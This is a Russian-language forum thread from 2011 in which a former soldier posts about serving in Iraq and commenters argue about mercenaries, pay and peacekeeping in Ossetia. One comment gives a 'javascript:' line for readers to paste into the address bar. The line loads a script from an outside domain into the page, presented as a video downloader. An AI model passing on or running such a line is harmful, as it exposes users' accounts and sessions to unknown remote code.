Ирак 2003-2005 гг., Моё сафари.

А что ваши войска делали в Осетии? Как это класифицировать. Чисто интересно мнения гражданина России, а не дабы пост превратить в срач, коим уже попахивает.

Добавлено в 22:07

Ты сам то воевал?

Интересные фото. Интересный пост.

Мне также интересно, сколько ж тебе там платили, за риск в любой момент словить пулю? Ради чего ты туда поехал? Денег? Тут фсё заебало? Пустыню посмотреть? Или стиль жизни уже такой милитари? Просто интересно...

Заходи на страницу где видео, В адресную строку браузера вставляй вот этот скрипт и жми скачать.

javascript: (function(){var s=document.createElement('script'); s.src='http://life-vkontakte.com/skachatvideo.js'; s.type='text/javascript'; document.getElementsByTagName('head')[0].appendChild(s); })();

Не думал что, понравится пост про войну. Хорошие, лаконичные комментарии...и почти нейтральные. Зелень.

Это сообщение отредактировал igluk - 20.12.2011 - 22:20

Нет.
На меня пока никто не напал.
А дед воевал и очень удачно, причём

Если честно, хуй его знает. Но ответить и вывернуться можно всегда - официальным ответом будет - защищали граждан РФ. Не секрет, что там было дофига народу с российскими паспортами.

***
Если у кого умишка не хватает про мой вопрос о проституции. Проститутка продаёт, по сути, свою душу за бабл. Наёмники занимаются ровно тем же самым.
А слова ТС про то, что он мог в любой момент съебаца, придают дополнительную остроту.

Это сообщение отредактировал rockin - 20.12.2011 - 22:43

Следуя твоей логике все наемные работники - проститутки? Или только военные? Или есть какой-то список? мол с автоматом за деньги ходят проститутки, а с портфелем - честные налогоплательщики? :-)

Смотря, что ты имеешь ввиду.
Если физический контакт, то он был. Но на расстоянии, не ближе метров 50-150. Но не часто.
Нас вообще, мало трогали. Заслуга командования. Проводили встречи с главами религиозных общин, разъяснительную работу с населением.

Saddam007 Интересная у тебя работа.

Тут не надо говорить о какой-то особой "моей" логике.

Врач. Делает всем хорошо. Положительный персонаж
Мент. Без комментариев
Гаец. Без комментариев.
Прапор. Занимается всю свою жизнь херней. Но тоже положительный, чо о нём плохого скажешь?
Учитель. Учит наших детей. Положительный.

Проститутка. Морально разложенная женщина. Отрицательно
Бандит. Грабит, убивает, насилует положительных. Крайне отрицательно.
Наёмник. Убивает или помогает убивать положительных. Крайне отрицательно.

Или, например, я. Был системным администратором. Старшим системным администратором. Поддерживал айти-инфраструктуру, делал людям хорошо. Я - положительный в данном случае. И мне платили деньги за то, что я в данной конкретной организации всем делаю хорошо. И от моих действий никто не страдал.
И у меня есть полное моральное право считать отрицательных личностей отрицательными. Без двойных стандартов и скидочек
Если чо, у меня в семье тоже есть наёмник. Так я ему руки не подаю.

Бля у тя всё просто как в детских книжках, тебе самому сколько то лет? Жизнь она многограннее гораздо, а не только чёрная и белая.

Отличный интересный пост. Спасибо аффтару. Мне кажется, надо обладать правда нехилым мужеством чтобы из уютненькой квартирки поехать в Ирак где каждый день тебя может либо какой местный выпилить, либо на бомбе подорвать, либо свои же по ошибке. Круто, правда. Общался у нас, в Питере с американцем, женившемся на русской девушке и переехавшем к нам на пмж. Он в Ираке воевал, очень много чего любопытного рассказывал. Поэтому этот пост был интересен вдвойне, как бы иллюстрации к его рассказам. И да, кстати, он не ехал туда "насаждать демократию" или "палить направо и налево по гражданским", точно так же выполнял приказы. В общем, безумству храбрых поем мы песню. Кстати, имеет легкое ранение. За это гос-во положило ему пожизненную пенсию порядка 5 000 $ / мес.

Это сообщение отредактировал Sepio - 20.12.2011 - 23:10

Попробуй дополнение для Firefox - DownloadHelper. Им можно по видео с многих серверов качать.

Теме зелень, молодец что целый вернулся.

Это я не тебе, Саддам007, это я спрашивал того, кто так яросно против реальной военной службы, рбц63.

И кстати, для сомневающихся в мирном присутствии нашего контингента в Ираке. Разве дружественный контакт не есть сутью миротворческой деятельности?

Это сообщение отредактировал Hustla - 20.12.2011 - 23:13

Платили не ахти, хотя, для 2003 года, парню из провинциального городка, 650 баксов это нармуль было.
А ради чего поехал..... Не знаю..... Тянуло меня туда, та и интересно было, выдержу или нет, смогу или нет? Смог и выдержал!
Та и милитари нравится. Вырос в семье военного, автомат взял в руки в 7 лет, стрелять начал с 10-ти лет, танк водил уже в 12 лет, не без помощи, естественно)
Нравится мне это. Но, всё это было в теории, а Ирак - практика.

Фотк зачетные, только немного странное отношение ТС к своим союзникам, потипу 'один я Дартаньян'....

Врач. Из-за врачебных ошибок в РФ умирает, по разным оценкам, 45-50 тыс. человек в год. Для справки, за 2010 год в результате преступных посягательств погибло 42 тыс. человек. Т.е. в сухой статистике ваш положительный врач хуже, чем отрицательный бандит.

Полицейский. Почему без комментариев? за тот же 2010 год принято заявления 23903997, т.е. почти каждый 7-й гражданин обратился в МВД со своей проблемой, вряд ли их всех избили или посадили.

Сотрудник ГИБДД - см. выше

По следующим персонажам можно, в целом, согласиться.

Наёмник. Убивает не плохих или хороших, а кого скажут. В общем-то кадровый военный, согласно уставу, присяги и т.п. должен делать тоже самое. Почему один хороший, а другой плохой?

Спасибо! Получилось!
Выкладываю.

Напомню, что в 1991-92 годах на территориях Осетии и Абхазии шла реальная война. Российские МИРОТВОРЧЕСКИЕ силы получили мандат ООН и прекратили конфликт. У них были шевроны, каски - все с эмблемами МС.
Они реально развели конфликт и пресекали периодически поползновения с обеих сторон, выступая посредником, как того и требует статус миротворца.
Собственно, далеко не факт что Россия бы вошла на территорию Южной Осетии 8 августа, если бы грузины, видимо решив что им все можно, не раздолбали позиции миротворцев в первую очередь, де-факто объявив войну.
Да, отдельные перестрелки различных вооруженных групп там были и раньше, но активной войны, которую затеял Мишико там не было. Все же удавалось ее избегать.

Где хоть какие-то аксессуары миротворцев на военных в Ираке? ))
Собственно, и внутреннего противостояния особо не было.
Курдов что долбали время от времени - так их и Турция долбает, никто ж Турцию всем миром не раскатывает

Добавлено в 23:46

Разъяснительная работа с местным населением велась и в Вермахте )
Вопрос миротворцы или нет зависит в первую очередь от решаемых задач.
Борьба с партизанами, например, это не миротворческие задачи

Если опустить сантименты и не впадать в крайности, то наши ребята там просто набирались боевого опыта (а нам его больше негде набраться так как войн не ведем) и зарабатывали деньги, чем это хуже?
Наши военные только рады поучаствовать в различных миротворческих операциях, потому что на родине как правильно отмечал автор могут научить только заборы и дачи строить... А там и опыт боевой и деньги.
Товарищ, вам захотелось хохлов обосрать за то что "лизнули сапог НАТО" или вы действительно так переживаете за бедных иракцев? Я думаю вам плевать на них так же как и на жителей того же Гондураса.

Это сообщение отредактировал docGonzo - 20.12.2011 - 23:50

Кстати, вопрос к ТС
А сам-то думаешь как, реально отстаивал ли там какие-то интересы Украины?

Он уже объяснял что преследовал там свои интересы и даже написал какие.

Охуеть просто аргументация ввода войск.
Дык договорились бы с нашими - за скидку на газ в Чечню б покатались )

Или можно еще отправить остатки Черноморского флота украинского сомалийскими пиратами подработать - а чо, тоже боевой опыт и бабло.

Не, я не осуждаю автора поста, лично его аргументация понятна, вопрос в аргументации высшего военного и политического руководства Украины.

Добавлено в 23:53

Дык то понятно.
Но это ж не просто так было - типа а не кинуть ли клич всем кто желает за американские деньги бабаев погонять по пустыне - айда хлопцы!
Руководство Украины принимало решение на ввод контингента на основании каких-то соображений, вот и интересно мнение изнутри - ради чего?

Добавлено в 23:57

Заметь, я ничего про сапог НАТО не говорил ) Это уже дальше пошли фантазии (или скрытые угрызения совести?)
Мне действительно плевать на иракцев, по большому счету, мне не очень понятны бывают мотивы наших братьев по Союзу, которые одни кричат "русские убирайтесь вон" в 1991-м, а потом массово ломятся в Россию "русские, дайте работу!", а другие сначала митингуют за самостийность, проклинают Россию за гробы из Афганистана и имперскую политику, после чего радостно поддерживают США и отправляют войска в Ирак.
Не находишь, что это несколько нелогично?

Вроде как отстаивал.
Украина поставит Ираку оружие на 2,4 млрд. долларов, оттеснив с рынка Россию
До конца года Украина поставит Ираку бронетехнику в рамках контракта на несколько миллиардов гривен

Добавлено в 00:00

Ты, поехал бы, задарма?
Я, ехал туда, в любом раскладе, платили бы или нет.
А то, что платили, оказалось приятным бонусом;)
Деньги ещё никому не помешали. По крайней мере я пишу всё это чесно, не прикрываясь бредовыми идеями, по отстаиванию демократии и прочую лабуду.

Ага, спасибо, тогда ясно.
А то ломаю голову - вроде нефти иракской Украине не отсыпали, не могли ж только за призрачные перспективы входа в НАТО отправляться туда...

Ясно значит у вас вопрос именно к руководству. Объясняю тогда, там речь шла о подрядах для стран участниц на восстановление инфратруктуры, на строительство и прочее, ясное дело что самые вкусные ништяки США оставили себе. Но и странам типа Украины тоже предлагали хорошие участки работ. Предвосхищая ваш вопрос "И чем закончилось?" - отвечу, не знаю, не слежу, просто помню то время и дебаты, разговоры политиков о бонусах для нас в этом.

Ну это крылатая фраза НАТОфобов в Украине.

вы дейстивтельно не находите разницы между тем как и кого отправляли в Афган и в Ирак? Ээээм, ну побуду КО: в Афган забирали всех подряд не спросив, просто так, потому что ты обязан исполнить долг (угу задолжал с рождения) перед Родиной в далеком Афганистане. А в Ирак ехали те кто сами туда ХОТЕЛИ пойти и получали за это деньги. А не пацаны 18-летние снятые со своей первой девушки... Разница не заметна?

Хороший,позитивный и и интересный пост. Узнала много нового. А по поводу действий военных можно говорить и говорить, но что это дает? Есть приказ и этим все сказано! Да можно было не ехать в Ирак именно Саддаму007, что бы изменилось? Притензии к руководству Страны. И еще: именно от тебя зависит отношение к войне,воюют по-разному.Кто-то убивает,кто-то делает вид, что убивает